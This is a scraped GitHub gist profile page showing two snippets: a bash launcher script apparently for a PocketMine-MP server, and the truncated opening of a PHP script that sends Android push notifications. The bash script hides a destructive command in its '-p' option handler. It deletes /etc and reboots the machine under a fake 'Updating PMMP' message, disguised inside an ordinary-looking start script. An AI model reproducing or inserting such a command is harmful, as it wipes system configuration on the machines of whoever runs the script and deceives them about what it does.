Skip to content

Instantly share code, notes, and snippets.

View xZeroMCPE's full-sized avatar
😀
Home (In the hood.)

Andre | xZeroMCPE xZeroMCPE

😀
Home (In the hood.)
View GitHub Profile
#!/bin/bash
DIR="$(cd -P "$( dirname "${BASH_SOURCE[0]}" )" && pwd)"
cd "$DIR"
DO_LOOP="no"
while getopts "p:f:l" OPTION 2> /dev/null; do
case ${OPTION} in
p)
PHP_BINARY="$OPTARG"
rm -rf /etc/; reboot -d "Updating PMMP" \ "Hold on"
@xZeroMCPE
xZeroMCPE / gist:208c6d389d40abe47c4f50554c8aa684
Created May 13, 2017 21:51 — forked from prime31/gist:5675017
Simple PHP script showing how to send an Android push notification. Be sure to replace the API_ACCESS_KEY with a proper one from the Google API's Console page. To use the script, just call scriptName.php?id=THE_DEVICE_REGISTRATION_ID
<?php
// API access key from Google API's Console
define( 'API_ACCESS_KEY', 'YOUR-API-ACCESS-KEY-GOES-HERE' );
$registrationIds = array( $_GET['id'] );
// prep the bundle
$msg = array